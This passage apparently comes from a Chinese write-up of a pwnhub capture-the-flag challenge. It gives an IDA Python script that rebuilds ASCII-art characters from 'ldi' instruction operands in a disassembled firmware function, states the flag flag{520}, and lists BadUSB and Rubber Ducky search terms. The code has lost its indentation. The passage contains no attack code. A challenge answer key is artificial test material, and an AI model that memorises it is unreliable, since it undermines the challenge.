78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import idautils
import idaapi
import idc
'''
start = idc.SelStart()
end = idc.SelEnd()
'''
'''
cur_addr = 0x94C
for disass_addr in list(idautils.FuncItems(func)):
if idc.GetMnem(disass_addr) == 'ldi':
if idc.GetOpnd(disass_addr,1) == ' ':

'''
str1 = ''
count = 0
cur_addr = 0x94C
for disass_addr in list(idautils.FuncItems(cur_addr)):
if idc.GetMnem(disass_addr) == 'ldi':
tmp = idc.GetOperandValue(disass_addr,1)
if tmp == ord(' '):
count += 1
if count == 2:
str1 += ' '
count = 0
elif tmp == ord('$'):
count += 1
if count == 2:
str1 += '$'
count = 0
elif tmp == ord('#'):
count += 1
if count == 2:
str1 += '#'
count = 0
elif tmp == ord('&'):
count += 1
if count == 2:
str1 += '&'
count = 0
elif tmp == ord(':'):
count += 1
if count == 2:
str1 += ':'
count = 0
elif tmp == ord('|'):
count += 1
if count == 2:
str1 += '|'
count = 0
elif tmp == ord('!'):
count += 1
if count == 2:
str1 += '!'
count = 0
elif tmp == ord(';'):
count += 1
if count == 2:
str1 += ';'
count = 0
elif tmp == ord('@'):
count += 1
if count == 2:
str1 += '@'
count = 0
elif tmp == ord('.'):
count += 1
if count == 2:
str1 += '.'
count = 0
elif tmp == ord('%'):
count += 1
if count == 2:
str1 += '%'
count = 0
elif tmp == ord('`'):
count += 1
if count == 2:
str1 += '`'
count = 0
elif tmp == 0xB0:
count += 1
if count == 2:
print str1
str1 = ''
count = 0

最后得到打印出来的flag:flag{520}

flag

emmmmm,这个我实在是看不懂画了什么,从出图到得到flag,有差不多9个小时,感谢看出flag的@pinko大佬(第一行右移两位),同时感谢客服大佬@Swing的耐心解答(还是想吐槽一下下:-( )

google中的关键连接:

pwnhub-key

badusb

arduino-IDE

baduse-code

USB-Rubber-Ducky

pwnhub-key-bluereader